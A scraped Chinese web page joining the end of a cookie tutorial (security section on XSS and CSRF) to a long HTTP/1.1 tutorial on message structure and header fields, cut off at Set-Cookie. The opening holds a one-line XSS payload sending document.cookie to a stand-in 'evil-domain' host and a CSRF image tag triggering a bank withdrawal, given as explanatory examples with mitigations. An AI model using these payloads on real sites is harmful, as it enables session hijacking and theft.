          1. 會話劫持和XSS:在Web應用中,Cookie常用來標記用戶或授權會話。因此,如果Web應用的Cookie被竊取,可能導致授權用戶的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程序漏洞進行XSS攻擊。(new Image()).src="http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。
          2. 跨站請求偽造(CSRF):維基百科已經給了一個比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行服務器發送提現的請求:<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">當你打開含有了這張圖片的HTML頁面時,如果你之前已經登錄了你的銀行帳號并且Cookie仍然有效(還沒有其它驗證步驟),你銀行里的錢很可能會被自動轉走。解決CSRF的辦法有:隱藏域驗證碼、確認機制、較短的Cookie生命周期等

          八、總結

          今天為大家講解了Cookie的相關知識,以及如何使用requests模塊操作Cookie,最后順便提了一下Cookie與Session的關系以及Cookie存在哪些安全問題。希望大家能對Cookie(小餅干)能有個全面的了解,這樣對你在今后的爬蟲學習中會大有裨益!

          關注微信公眾號:安徽思恒信息科技有限公司,了解更多技術內容……

          注于Java領域優質技術,歡迎關注

          作者:滌生_Woo

          本篇文章篇幅比較長,先來個思維導圖預覽一下。

          一張圖帶你看完本篇文章

          一、概述

          1.計算機網絡體系結構分層

          計算機網絡體系結構分層

          2.TCP/IP 通信傳輸流

          利用 TCP/IP 協議族進行網絡通信時,會通過分層順序與對方進行通信。發送端從應用層往下走,接收端則從鏈路層往上走。如下:

          TCP/IP 通信傳輸流

          • 首先作為發送端的客戶端在應用層(HTTP 協議)發出一個想看某個 Web 頁面的 HTTP 請求。
          • 接著,為了傳輸方便,在傳輸層(TCP 協議)把從應用層處收到的數據(HTTP 請求報文)進行分割,并在各個報文上打上標記序號及端口號后轉發給網絡層。
          • 在網絡層(IP 協議),增加作為通信目的地的 MAC 地址后轉發給鏈路層。這樣一來,發往網絡的通信請求就準備齊全了。
          • 接收端的服務器在鏈路層接收到數據,按序往上層發送,一直到應用層。當傳輸到應用層,才能算真正接收到由客戶端發送過來的 HTTP請求。

          如下圖所示:

          HTTP 請求

          在網絡體系結構中,包含了眾多的網絡協議,這篇文章主要圍繞 HTTP 協議(HTTP/1.1版本)展開。

          HTTP協議(HyperText Transfer Protocol,超文本傳輸協議)是用于從WWW服務器傳輸超文本到本地瀏覽器的傳輸協議。它可以使瀏覽器更加高效,使網絡傳輸減少。它不僅保證計算機正確快速地傳輸超文本文檔,還確定傳輸文檔中的哪一部分,以及哪部分內容首先顯示(如文本先于圖形)等。
           HTTP是客戶端瀏覽器或其他程序與Web服務器之間的應用層通信協議。在Internet上的Web服務器上存放的都是超文本信息,客戶機需要通過HTTP協議傳輸所要訪問的超文本信息。HTTP包含命令和傳輸信息,不僅可用于Web訪問,也可以用于其他因特網/內聯網應用系統之間的通信,從而實現各類應用資源超媒體訪問的集成。
           我們在瀏覽器的地址欄里輸入的網站地址叫做URL (Uniform Resource Locator,統一資源定位符)。就像每家每戶都有一個門牌地址一樣,每個網頁也都有一個Internet地址。當你在瀏覽器的地址框中輸入一個URL或是單擊一個超級鏈接時,URL就確定了要瀏覽的地址。瀏覽器通過超文本傳輸協議(HTTP),將Web服務器上站點的網頁代碼提取出來,并翻譯成漂亮的網頁。
          

          二、HTTP 工作過程

          HTTP請求響應模型

          HTTP通信機制是在一次完整的 HTTP 通信過程中,客戶端與服務器之間將完成下列7個步驟:

          1 建立 TCP 連接

          在HTTP工作開始之前,客戶端首先要通過網絡與服務器建立連接,該連接是通過 TCP 來完成的,該協議與 IP 協議共同構建 Internet,即著名的 TCP/IP 協議族,因此 Internet 又被稱作是 TCP/IP 網絡。HTTP 是比 TCP 更高層次的應用層協議,根據規則,只有低層協議建立之后,才能進行高層協議的連接,因此,首先要建立 TCP 連接,一般 TCP 連接的端口號是80;

          2 客戶端向服務器發送請求命令

          一旦建立了TCP連接,客戶端就會向服務器發送請求命令;

          例如:GET/sample/hello.jsp HTTP/1.1

          3 客戶端發送請求頭信息

          客戶端發送其請求命令之后,還要以頭信息的形式向服務器發送一些別的信息,之后客戶端發送了一空白行來通知服務器,它已經結束了該頭信息的發送;

          4 服務器應答

          客戶端向服務器發出請求后,服務器會客戶端返回響應;

          例如: HTTP/1.1 200 OK

          響應的第一部分是協議的版本號和響應狀態碼

          5 服務器返回響應頭信息

          正如客戶端會隨同請求發送關于自身的信息一樣,服務器也會隨同響應向用戶發送關于它自己的數據及被請求的文檔;

          6 服務器向客戶端發送數據

          服務器向客戶端發送頭信息后,它會發送一個空白行來表示頭信息的發送到此為結束,接著,它就以 Content-Type 響應頭信息所描述的格式發送用戶所請求的實際數據;

          7 服務器關閉 TCP 連接

          一般情況下,一旦服務器向客戶端返回了請求數據,它就要關閉 TCP 連接,然后如果客戶端或者服務器在其頭信息加入了這行代碼 Connection:keep-alive ,TCP 連接在發送后將仍然保持打開狀態,于是,客戶端可以繼續通過相同的連接發送請求。保持連接節省了為每個請求建立新連接所需的時間,還節約了網絡帶寬。

          三、HTTP 協議基礎

          1.通過請求和響應的交換達成通信

          應用 HTTP 協議時,必定是一端擔任客戶端角色,另一端擔任服務器端角色。僅從一條通信線路來說,服務器端和客服端的角色是確定的。HTTP 協議規定,請求從客戶端發出,最后服務器端響應該請求并返回。換句話說,肯定是先從客戶端開始建立通信的,服務器端在沒有接收到請求之前不會發送響應。

          2.HTTP 是不保存狀態的協議

          HTTP 是一種無狀態協議。協議自身不對請求和響應之間的通信狀態進行保存。也就是說在 HTTP 這個級別,協議對于發送過的請求或響應都不做持久化處理。這是為了更快地處理大量事務,確保協議的可伸縮性,而特意把 HTTP 協議設計成如此簡單的。

          可是隨著 Web 的不斷發展,我們的很多業務都需要對通信狀態進行保存。于是我們引入了 Cookie 技術。有了 Cookie 再用 HTTP 協議通信,就可以管理狀態了。

          3.使用 Cookie 的狀態管理

          Cookie 技術通過在請求和響應報文中寫入 Cookie 信息來控制客戶端的狀態。Cookie 會根據從服務器端發送的響應報文內的一個叫做 Set-Cookie 的首部字段信息,通知客戶端保存Cookie。當下次客戶端再往該服務器發送請求時,客戶端會自動在請求報文中加入 Cookie 值后發送出去。服務器端發現客戶端發送過來的 Cookie 后,會去檢查究竟是從哪一個客戶端發來的連接請求,然后對比服務器上的記錄,最后得到之前的狀態信息。

          Cookie 的流程

          4.請求 URI 定位資源

          HTTP 協議使用 URI 定位互聯網上的資源。正是因為 URI 的特定功能,在互聯網上任意位置的資源都能訪問到。

          5.告知服務器意圖的 HTTP 方法(HTTP/1.1)

          HTTP 方法

          6.持久連接

          HTTP 協議的初始版本中,每進行一個 HTTP 通信都要斷開一次 TCP 連接。比如使用瀏覽器瀏覽一個包含多張圖片的 HTML 頁面時,在發送請求訪問 HTML 頁面資源的同時,也會請求該 HTML 頁面里包含的其他資源。因此,每次的請求都會造成無畏的 TCP 連接建立和斷開,增加通信量的開銷。

          為了解決上述 TCP 連接的問題,HTTP/1.1 和部分 HTTP/1.0 想出了持久連接的方法。其特點是,只要任意一端沒有明確提出斷開連接,則保持 TCP 連接狀態。旨在建立一次 TCP 連接后進行多次請求和響應的交互。在 HTTP/1.1 中,所有的連接默認都是持久連接。

          7.管線化

          持久連接使得多數請求以管線化方式發送成為可能。以前發送請求后需等待并接收到響應,才能發送下一個請求。管線化技術出現后,不用等待亦可發送下一個請求。這樣就能做到同時并行發送多個請求,而不需要一個接一個地等待響應了。

          比如,當請求一個包含多張圖片的 HTML 頁面時,與挨個連接相比,用持久連接可以讓請求更快結束。而管線化技術要比持久連接速度更快。請求數越多,時間差就越明顯。

          四、HTTP 協議報文結構

          1.HTTP 報文

          用于 HTTP 協議交互的信息被稱為 HTTP 報文。請求端(客戶端)的 HTTP 報文叫做請求報文;響應端(服務器端)的叫做響應報文。HTTP 報文本身是由多行(用 CR+LF 作換行符)數據構成的字符串文本。

          2.HTTP 報文結構

          HTTP 報文大致可分為報文首部和報文主體兩部分。兩者由最初出現的空行(CR+LF)來劃分。通常,并不一定有報文主體。如下:

          HTTP 報文結構

          2.1請求報文結構

          請求報文結構

          請求報文的首部內容由以下數據組成:

          • 請求行 —— 包含用于請求的方法、請求 URI 和 HTTP 版本。
          • 首部字段 —— 包含表示請求的各種條件和屬性的各類首部。(通用首部、請求首部、實體首部以及RFC里未定義的首部如 Cookie 等)

          請求報文的示例,如下:

          請求報文示例

          2.2響應報文結構

          響應報文結構

          響應報文的首部內容由以下數據組成:

          • 狀態行 —— 包含表明響應結果的狀態碼、原因短語和 HTTP 版本。
          • 首部字段 —— 包含表示請求的各種條件和屬性的各類首部。(通用首部、響應首部、實體首部以及RFC里未定義的首部如 Cookie 等)

          響應報文的示例,如下:

          響應報文示例

          五、HTTP 報文首部之請求行、狀態行

          1.請求行

          舉個栗子,下面是一個 HTTP 請求的報文:

          GET /index.htm HTTP/1.1
          Host: sample.com
          

          其中,下面的這行就是請求行,

          GET /index.htm HTTP/1.1
          
          • 開頭的 GET 表示請求訪問服務器的類型,稱為方法;
          • 隨后的字符串 /index.htm 指明了請求訪問的資源對象,也叫做請求 URI;
          • 最后的 HTTP/1.1,即 HTTP 的版本號,用來提示客戶端使用的 HTTP 協議功能。

          綜合來看,大意是請求訪問某臺 HTTP 服務器上的 /index.htm 頁面資源。

          2.狀態行

          同樣舉個栗子,下面是一個 HTTP 響應的報文:

          HTTP/1.1 200 OK
          Date: Mon, 10 Jul 2017 15:50:06 GMT
          Content-Length: 256
          Content-Type: text/html
           
          <html>
          ...
          

          其中,下面的這行就是狀態行,

          HTTP/1.1 200 OK
          
          • 開頭的 HTTP/1.1 表示服務器對應的 HTTP 版本;
          • 緊挨著的 200 OK 表示請求的處理結果的狀態碼和原因短語。

          六、HTTP 報文首部之首部字段(重點分析)

          1.首部字段概述

          先來回顧一下首部字段在報文的位置,HTTP 報文包含報文首部和報文主體,報文首部包含請求行(或狀態行)和首部字段。

          在報文眾多的字段當中,HTTP 首部字段包含的信息最為豐富。首部字段同時存在于請求和響應報文內,并涵蓋 HTTP 報文相關的內容信息。使用首部字段是為了給客服端和服務器端提供報文主體大小、所使用的語言、認證信息等內容。

          2.首部字段結構

          • HTTP 首部字段是由首部字段名和字段值構成的,中間用冒號“:”分隔。
          • 另外,字段值對應單個 HTTP 首部字段可以有多個值。
          • 當 HTTP 報文首部中出現了兩個或以上具有相同首部字段名的首部字段時,這種情況在規范內尚未明確,根據瀏覽器內部處理邏輯的不同,優先處理的順序可能不同,結果可能并不一致。

          3.首部字段類型

          首部字段根據實際用途被分為以下4種類型:

          4.通用首部字段(HTTP/1.1)

          4.1 Cache-Control

          通過指定首部字段 Cache-Control 的指令,就能操作緩存的工作機制。

          4.1.1 可用的指令一覽

          可用的指令按請求和響應分類如下:

          緩存請求指令

          緩存響應指令

          4.1.2 表示能否緩存的指令

          public 指令

           Cache-Control: public
          

          當指定使用 public 指令時,則明確表明其他用戶也可利用緩存。

          private 指令

           Cache-Control: private
          

          當指定 private 指令后,響應只以特定的用戶作為對象,這與 public 指令的行為相反。緩存服務器會對該特定用戶提供資源緩存的服務,對于其他用戶發送過來的請求,代理服務器則不會返回緩存。

          no-cache 指令

           Cache-Control: no-cache
          
          • 使用 no-cache 指令是為了防止從緩存中返回過期的資源。
          • 客戶端發送的請求中如果包含 no-cache 指令,則表示客戶端將不會接收緩存過的響應。于是,“中間”的緩存服務器必須把客戶端請求轉發給源服務器。
          • 如果服務器中返回的響應包含 no-cache 指令,那么緩存服務器不能對資源進行緩存。源服務器以后也將不再對緩存服務器請求中提出的資源有效性進行確認,且禁止其對響應資源進行緩存操作。
          Cache-Control: no-cache=Location
          

          由服務器返回的響應中,若報文首部字段 Cache-Control 中對 no-cache 字段名具體指定參數值,那么客戶端在接收到這個被指定參數值的首部字段對應的響應報文后,就不能使用緩存。換言之,無參數值的首部字段可以使用緩存。只能在響應指令中指定該參數。

          no-store 指令

           Cache-Control: no-store
          

          當使用 no-store 指令時,暗示請求(和對應的響應)或響應中包含機密信息。因此,該指令規定緩存不能在本地存儲請求或響應的任一部分。

          注意:no-cache 指令代表不緩存過期的指令,緩存會向源服務器進行有效期確認后處理資源;no-store 指令才是真正的不進行緩存。

          4.1.3 指定緩存期限和認證的指令

          s-maxage 指令

           Cache-Control: s-maxage=604800(單位:秒)
          
          • s-maxage 指令的功能和 max-age 指令的相同,它們的不同點是 s-maxage 指令只適用于供多位用戶使用的公共緩存服務器(一般指代理)。也就是說,對于向同一用戶重復返回響應的服務器來說,這個指令沒有任何作用。
          • 另外,當使用 s-maxage 指令后,則直接忽略對 Expires 首部字段及 max-age 指令的處理。

          max-age 指令

           Cache-Control: max-age=604800(單位:秒)
          
          • 當客戶端發送的請求中包含 max-age 指令時,如果判定緩存資源的緩存時間數值比指定的時間更小,那么客戶端就接收緩存的資源。另外,當指定 max-age 的值為0,那么緩存服務器通常需要將請求轉發給源服務器。
          • 當服務器返回的響應中包含 max-age 指令時,緩存服務器將不對資源的有效性再作確認,而 max-age 數值代表資源保存為緩存的最長時間。
          • 應用 HTTP/1.1 版本的緩存服務器遇到同時存在 Expires 首部字段的情況時,會優先處理 max-age 指令,并忽略掉 Expires 首部字段;而 HTTP/1.0 版本的緩存服務器則相反。

          min-fresh 指令

           Cache-Control: min-fresh=60(單位:秒)
          

          min-fresh 指令要求緩存服務器返回至少還未過指定時間的緩存資源。

          max-stale 指令

          Cache-Control: max-stale=3600(單位:秒)

          • 使用 max-stale 可指示緩存資源,即使過期也照常接收。
          • 如果指令未指定參數值,那么無論經過多久,客戶端都會接收響應;如果指定了具體參數值,那么即使過期,只要仍處于 max-stale 指定的時間內,仍舊會被客戶端接收。

          only-if-cached 指令

           Cache-Control: only-if-cached
          

          表示客戶端僅在緩存服務器本地緩存目標資源的情況下才會要求其返回。換言之,該指令要求緩存服務器不重新加載響應,也不會再次確認資源的有效性。

          must-revalidate 指令

           Cache-Control: must-revalidate
          

          使用 must-revalidate 指令,代理會向源服務器再次驗證即將返回的響應緩存目前是否仍有效。另外,使用 must-revalidate 指令會忽略請求的 max-stale 指令。

          proxy-revalidate 指令

           Cache-Control: proxy-revalidate
          

          proxy-revalidate 指令要求所有的緩存服務器在接收到客戶端帶有該指令的請求返回響應之前,必須再次驗證緩存的有效性。

          no-transform 指令

           Cache-Control: no-transform
          

          使用 no-transform 指令規定無論是在請求還是響應中,緩存都不能改變實體主體的媒體類型。這樣做可防止緩存或代理壓縮圖片等類似操作。

          4.1.4 Cache-Control 擴展

          Cache-Control: private, community="UCI"
          

          通過 cache-extension 標記(token),可以擴展 Cache-Control 首部字段內的指令。上述 community 指令即擴展的指令,如果緩存服務器不能理解這個新指令,就會直接忽略掉。

          4.2 Connection

          Connection 首部字段具備以下兩個作用:

          控制不再轉發的首部字段

           Connection: Upgrade
          

          在客戶端發送請求和服務器返回響應中,使用 Connection 首部字段,可控制不再轉發給代理的首部字段,即刪除后再轉發(即Hop-by-hop首部)。

          管理持久連接

           Connection: close
          

          HTTP/1.1 版本的默認連接都是持久連接。當服務器端想明確斷開連接時,則指定 Connection 首部字段的值為 close。

           Connection: Keep-Alive
          

          HTTP/1.1 之前的 HTTP 版本的默認連接都是非持久連接。為此,如果想在舊版本的 HTTP 協議上維持持續連接,則需要指定 Connection 首部字段的值為 Keep-Alive。

          4.3 Date

          表明創建 HTTP 報文的日期和時間。

           Date: Mon, 10 Jul 2017 15:50:06 GMT
          

          HTTP/1.1 協議使用在 RFC1123 中規定的日期時間的格式。

          4.4 Pragma

          Pragma 首部字段是 HTTP/1.1 版本之前的歷史遺留字段,僅作為與 HTTP/1.0 的向后兼容而定義。

           Pragma: no-cache
          
          • 該首部字段屬于通用首部字段,但只用在客戶端發送的請求中,要求所有的中間服務器不返回緩存的資源。
          • 所有的中間服務器如果都能以 HTTP/1.1 為基準,那直接采用 Cache-Control: no-cache 指定緩存的處理方式最為理想。但是要整體掌握所有中間服務器使用的 HTTP 協議版本卻是不現實的,所以,發送的請求會同時包含下面兩個首部字段:
          Cache-Control: no-cache
          Pragma: no-cache
          

          4.5 Trailer

          Trailer: Expires
          

          首部字段 Trailer 會事先說明在報文主體后記錄了哪些首部字段。可應用在 HTTP/1.1 版本分塊傳輸編碼時。

          4.6 Transfer-Encoding

          Transfer-Encoding: chunked
          
          • 規定了傳輸報文主體時采用的編碼方式。
          • HTTP/1.1 的傳輸編碼方式僅對分塊傳輸編碼有效。

          4.7 Upgrade

          Upgrade: TSL/1.0
          

          用于檢測 HTTP 協議及其他協議是否可使用更高的版本進行通信,其參數值可以用來指定一個完全不同的通信協議。

          4.8 Via

          Via: 1.1 a1.sample.com(Squid/2.7)
          
          • 為了追蹤客戶端和服務器端之間的請求和響應報文的傳輸路徑。
          • 報文經過代理或網關時,會現在首部字段 Via 中附加該服務器的信息,然后再進行轉發。
          • 首部字段 Via 不僅用于追蹤報文的轉發,還可避免請求回環的發生。

          4.9 Warning

          該首部字段通常會告知用戶一些與緩存相關的問題的警告。

          Warning 首部字段的格式如下:

          Warning:[警告碼][警告的主機:端口號] "[警告內容]"([日期時間])

          最后的日期時間可省略。

          HTTP/1.1 中定義了7種警告,警告碼對應的警告內容僅推薦參考,另外,警告碼具備擴展性,今后有可能追加新的警告碼。

          5. 請求首部字段(HTTP/1.1)

          5.1 Accept

          Accept: text/html, application/xhtml+xml, application/xml; q=0.5
          
          • Accept 首部字段可通知服務器,用戶代理能夠處理的媒體類型及媒體類型的相對優先級。可使用 type/subtype 這種形式,一次指定多種媒體類型。
          • 若想要給顯示的媒體類型增加優先級,則使用 q=[數值] 來表示權重值,用分號(;)進行分隔。權重值的范圍 0~1(可精確到小數點后三位),且 1 為最大值。不指定權重值時,默認為 1。

          5.2 Accept-Charset

          Accept-Charset: iso-8859-5, unicode-1-1; q=0.8
          

          Accept-Charset 首部字段可用來通知服務器用戶代理支持的字符集及字符集的相對優先順序。另外,可一次性指定多種字符集。同樣使用 q=[數值] 來表示相對優先級。

          5.3 Accept-Encoding

          Accept-Encoding: gzip, deflate
          

          Accept-Encoding 首部字段用來告知服務器用戶代理支持的內容編碼及內容編碼的優先順序,并可一次性指定多種內容編碼。同樣使用 q=[數值] 來表示相對優先級。也可使用星號(*)作為通配符,指定任意的編碼格式。

          5.4 Accept-Language

          Accept-Lanuage: zh-cn,zh;q=0.7,en=us,en;q=0.3
          

          告知服務器用戶代理能夠處理的自然語言集(指中文或英文等),以及自然語言集的相對優先級,可一次性指定多種自然語言集。同樣使用 q=[數值] 來表示相對優先級。

          5.5 Authorization

          Authorization: Basic ldfKDHKfkDdasSAEdasd==

          告知服務器用戶代理的認證信息(證書值)。通常,想要通過服務器認證的用戶代理會在接收到返回的 401 狀態碼響應后,把首部字段 Authorization 加入請求中。共用緩存在接收到含有 Authorization 首部字段的請求時的操作處理會略有差異。

          5.6 Expect

          Expect: 100-continue
          

          告知服務器客戶端期望出現的某種特定行為。

          5.7 From

          From: Deeson_Woo@163.com
          

          告知服務器使用用戶代理的電子郵件地址。

          5.8 Host

          Host: www.jianshu.com
          
          • 告知服務器,請求的資源所處的互聯網主機和端口號。
          • Host 首部字段是 HTTP/1.1 規范內唯一一個必須被包含在請求內的首部字段。
          • 若服務器未設定主機名,那直接發送一個空值即可 Host: 。

          5.9 If-Match

          形如 If-xxx 這種樣式的請求首部字段,都可稱為條件請求。服務器接收到附帶條件的請求后,只有判斷指定條件為真時,才會執行請求。

          If-Match: "123456"
          
          • 首部字段 If-Match,屬附帶條件之一,它會告知服務器匹配資源所用的實體標記(ETag)值。這時的服務器無法使用弱 ETag 值。
          • 服務器會比對 If-Match 的字段值和資源的 ETag 值,僅當兩者一致時,才會執行請求。反之,則返回狀態碼 412 Precondition Failed 的響應。
          • 還可以使用星號(*)指定 If-Match 的字段值。針對這種情況,服務器將會忽略 ETag 的值,只要資源存在就處理請求。

          5.10 If-Modified-Since

          If-Modified-Since: Mon, 10 Jul 2017 15:50:06 GMT
          
          • 首部字段 If-Modified-Since,屬附帶條件之一,用于確認代理或客戶端擁有的本地資源的有效性。
          • 它會告知服務器若 If-Modified-Since 字段值早于資源的更新時間,則希望能處理該請求。而在指定 If-Modified-Since 字段值的日期時間之后,如果請求的資源都沒有過更新,則返回狀態碼 304 Not Modified 的響應。

          5.11 If-None-Match

          If-None-Match: "123456"
          

          首部字段 If-None-Match 屬于附帶條件之一。它和首部字段 If-Match 作用相反。用于指定 If-None-Match 字段值的實體標記(ETag)值與請求資源的 ETag 不一致時,它就告知服務器處理該請求。

          5.12 If-Range

          If-Range: "123456"
          
          • 首部字段 If-Range 屬于附帶條件之一。它告知服務器若指定的 If-Range 字段值(ETag 值或者時間)和請求資源的 ETag 值或時間相一致時,則作為范圍請求處理。反之,則返回全體資源。
          • 下面我們思考一下不使用首部字段 If-Range 發送請求的情況。服務器端的資源如果更新,那客戶端持有資源中的一部分也會隨之無效,當然,范圍請求作為前提是無效的。這時,服務器會暫且以狀態碼 412 Precondition Failed 作為響應返回,其目的是催促客戶端再次發送請求。這樣一來,與使用首部字段 If-Range 比起來,就需要花費兩倍的功夫。

          5.13 If-Unmodified-Since

          If-Unmodified-Since: Mon, 10 Jul 2017 15:50:06 GMT
          

          首部字段 If-Unmodified-Since 和首部字段 If-Modified-Since 的作用相反。它的作用的是告知服務器,指定的請求資源只有在字段值內指定的日期時間之后,未發生更新的情況下,才能處理請求。如果在指定日期時間后發生了更新,則以狀態碼 412 Precondition Failed 作為響應返回。

          5.14 Max-Forwards

          Max-Forwards: 10
          

          通過 TRACE 方法或 OPTIONS 方法,發送包含首部字段 Max-Forwards 的請求時,該字段以十進制整數形式指定可經過的服務器最大數目。服務器在往下一個服務器轉發請求之前,Max-Forwards 的值減 1 后重新賦值。當服務器接收到 Max-Forwards 值為 0 的請求時,則不再進行轉發,而是直接返回響應。

          5.15 Proxy-Authorization

          Proxy-Authorization: Basic dGlwOjkpNLAGfFY5
          
          • 接收到從代理服務器發來的認證質詢時,客戶端會發送包含首部字段 Proxy-Authorization 的請求,以告知服務器認證所需要的信息。
          • 這個行為是與客戶端和服務器之間的 HTTP 訪問認證相類似的,不同之處在于,認證行為發生在客戶端與代理之間。

          5.16 Range

          Range: bytes=5001-10000
          
          • 對于只需獲取部分資源的范圍請求,包含首部字段 Range 即可告知服務器資源的指定范圍。
          • 接收到附帶 Range 首部字段請求的服務器,會在處理請求之后返回狀態碼為 206 Partial Content 的響應。無法處理該范圍請求時,則會返回狀態碼 200 OK 的響應及全部資源。

          5.17 Referer

          Referer: http://www.sample.com/index.html
          

          首部字段 Referer 會告知服務器請求的原始資源的 URI。

          5.18 TE

          TE: gzip, deflate; q=0.5
          
          • 首部字段 TE 會告知服務器客戶端能夠處理響應的傳輸編碼方式及相對優先級。它和首部字段 Accept-Encoding 的功能很相像,但是用于傳輸編碼。
          • 首部字段 TE 除指定傳輸編碼之外,還可以指定伴隨 trailer 字段的分塊傳輸編碼的方式。應用后者時,只需把 trailers 賦值給該字段值。TE: trailers

          5.19 User-Agent

          User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101
          
          • 首部字段 User-Agent 會將創建請求的瀏覽器和用戶代理名稱等信息傳達給服務器。
          • 由網絡爬蟲發起請求時,有可能會在字段內添加爬蟲作者的電子郵件地址。此外,如果請求經過代理,那么中間也很可能被添加上代理服務器的名稱。

          6. 響應首部字段(HTTP/1.1)

          6.1 Accept-Ranges

          Accept-Ranges: bytes
          
          • 首部字段 Accept-Ranges 是用來告知客戶端服務器是否能處理范圍請求,以指定獲取服務器端某個部分的資源。
          • 可指定的字段值有兩種,可處理范圍請求時指定其為 bytes,反之則指定其為 none。

          6.2 Age

          Age: 1200
          
          • 首部字段 Age 能告知客戶端,源服務器在多久前創建了響應。字段值的單位為秒。
          • 若創建該響應的服務器是緩存服務器,Age 值是指緩存后的響應再次發起認證到認證完成的時間值。代理創建響應時必須加上首部字段 Age。

          6.3 ETag

          ETag: "usagi-1234"
          
          • 首部字段 ETag 能告知客戶端實體標識。它是一種可將資源以字符串形式做唯一性標識的方式。服務器會為每份資源分配對應的 ETag 值。
          • 另外,當資源更新時,ETag 值也需要更新。生成 ETag 值時,并沒有統一的算法規則,而僅僅是由服務器來分配。
          • ETag 中有強 ETag 值和弱 ETag 值之分。強 ETag 值,不論實體發生多么細微的變化都會改變其值;弱 ETag 值只用于提示資源是否相同。只有資源發生了根本改變,產生差異時才會改變 ETag 值。這時,會在字段值最開始處附加 W/: ETag: W/"usagi-1234"。

          6.4 Location

          Location: http://www.sample.com/sample.html
          
          • 使用首部字段 Location 可以將響應接收方引導至某個與請求 URI 位置不同的資源。
          • 基本上,該字段會配合 3xx :Redirection 的響應,提供重定向的 URI。
          • 幾乎所有的瀏覽器在接收到包含首部字段 Location 的響應后,都會強制性地嘗試對已提示的重定向資源的訪問。

          6.5 Proxy-Authenticate

          Proxy-Authenticate: Basic realm="Usagidesign Auth"
          
          • 首部字段 Proxy-Authenticate 會把由代理服務器所要求的認證信息發送給客戶端。
          • 它與客戶端和服務器之間的 HTTP 訪問認證的行為相似,不同之處在于其認證行為是在客戶端與代理之間進行的。

          6.6 Retry-After

          Retry-After: 180
          
          • 首部字段 Retry-After 告知客戶端應該在多久之后再次發送請求。主要配合狀態碼 503 Service Unavailable 響應,或 3xx Redirect 響應一起使用。
          • 字段值可以指定為具體的日期時間(Mon, 10 Jul 2017 15:50:06 GMT 等格式),也可以是創建響應后的秒數。

          6.7 Server

          Server: Apache/2.2.6 (Unix) PHP/5.2.5
          

          首部字段 Server 告知客戶端當前服務器上安裝的 HTTP 服務器應用程序的信息。不單單會標出服務器上的軟件應用名稱,還有可能包括版本號和安裝時啟用的可選項。

          6.8 Vary

          Vary: Accept-Language
          
          • 首部字段 Vary 可對緩存進行控制。源服務器會向代理服務器傳達關于本地緩存使用方法的命令。
          • 從代理服務器接收到源服務器返回包含 Vary 指定項的響應之后,若再要進行緩存,僅對請求中含有相同 Vary 指定首部字段的請求返回緩存。即使對相同資源發起請求,但由于 Vary 指定的首部字段不相同,因此必須要從源服務器重新獲取資源。

          6.9 WWW-Authenticate

          WWW-Authenticate: Basic realm="Usagidesign Auth"
          

          首部字段 WWW-Authenticate 用于 HTTP 訪問認證。它會告知客戶端適用于訪問請求 URI 所指定資源的認證方案(Basic 或是 Digest)和帶參數提示的質詢(challenge)。

          7. 實體首部字段(HTTP/1.1)

          7.1 Allow

          Allow: GET, HEAD
          
          • 首部字段 Allow 用于通知客戶端能夠支持 Request-URI 指定資源的所有 HTTP 方法。
          • 當服務器接收到不支持的 HTTP 方法時,會以狀態碼 405 Method Not Allowed 作為響應返回。與此同時,還會把所有能支持的 HTTP 方法寫入首部字段 Allow 后返回。

          7.2 Content-Encoding

          Content-Encoding: gzip
          
          • 首部字段 Content-Encoding 會告知客戶端服務器對實體的主體部分選用的內容編碼方式。內容編碼是指在不丟失實體信息的前提下所進行的壓縮。
          • 主要采用這 4 種內容編碼的方式(gzip、compress、deflate、identity)。

          7.3 Content-Language

          Content-Language: zh-CN
          

          首部字段 Content-Language 會告知客戶端,實體主體使用的自然語言(指中文或英文等語言)。

          7.4 Content-Length

          Content-Length: 15000
          

          首部字段 Content-Length 表明了實體主體部分的大小(單位是字節)。對實體主體進行內容編碼傳輸時,不能再使用 Content-Length首部字段。

          7.5 Content-Location

          Content-Location: http://www.sample.com/index.html
          

          首部字段 Content-Location 給出與報文主體部分相對應的 URI。和首部字段 Location 不同,Content-Location 表示的是報文主體返回資源對應的 URI。

          7.6 Content-MD5

          Content-MD5: OGFkZDUwNGVhNGY3N2MxMDIwZmQ4NTBmY2IyTY==

          首部字段 Content-MD5 是一串由 MD5 算法生成的值,其目的在于檢查報文主體在傳輸過程中是否保持完整,以及確認傳輸到達。

          7.7 Content-Range

          Content-Range: bytes 5001-10000/10000
          

          針對范圍請求,返回響應時使用的首部字段 Content-Range,能告知客戶端作為響應返回的實體的哪個部分符合范圍請求。字段值以字節為單位,表示當前發送部分及整個實體大小。

          7.8 Content-Type

          Content-Type: text/html; charset=UTF-8
          

          首部字段 Content-Type 說明了實體主體內對象的媒體類型。和首部字段 Accept 一樣,字段值用 type/subtype 形式賦值。參數 charset 使用 iso-8859-1 或 euc-jp 等字符集進行賦值。

          7.9 Expires

          Expires: Mon, 10 Jul 2017 15:50:06 GMT
          
          • 首部字段 Expires 會將資源失效的日期告知客戶端。
          • 緩存服務器在接收到含有首部字段 Expires 的響應后,會以緩存來應答請求,在 Expires 字段值指定的時間之前,響應的副本會一直被保存。當超過指定的時間后,緩存服務器在請求發送過來時,會轉向源服務器請求資源。
          • 源服務器不希望緩存服務器對資源緩存時,最好在 Expires 字段內寫入與首部字段 Date 相同的時間值。

          7.10 Last-Modified

          Last-Modified: Mon, 10 Jul 2017 15:50:06 GMT
          

          首部字段 Last-Modified 指明資源最終修改的時間。一般來說,這個值就是 Request-URI 指定資源被修改的時間。但類似使用 CGI 腳本進行動態數據處理時,該值有可能會變成數據最終修改時的時間。

          8. 為 Cookie 服務的首部字段

          8.1 Set-Cookie

          Set-Cookie: status=enable; expires=Mon, 10 Jul 2017 15:50:06 GMT; path=/;
          

          下面的表格列舉了 Set-Cookie 的字段值。

          8.1.1 expires 屬性

          • Cookie 的 expires 屬性指定瀏覽器可發送 Cookie 的有效期。
          • 當省略 expires 屬性時,其有效期僅限于維持瀏覽器會話(Session)時間段內。這通常限于瀏覽器應用程序被關閉之前。
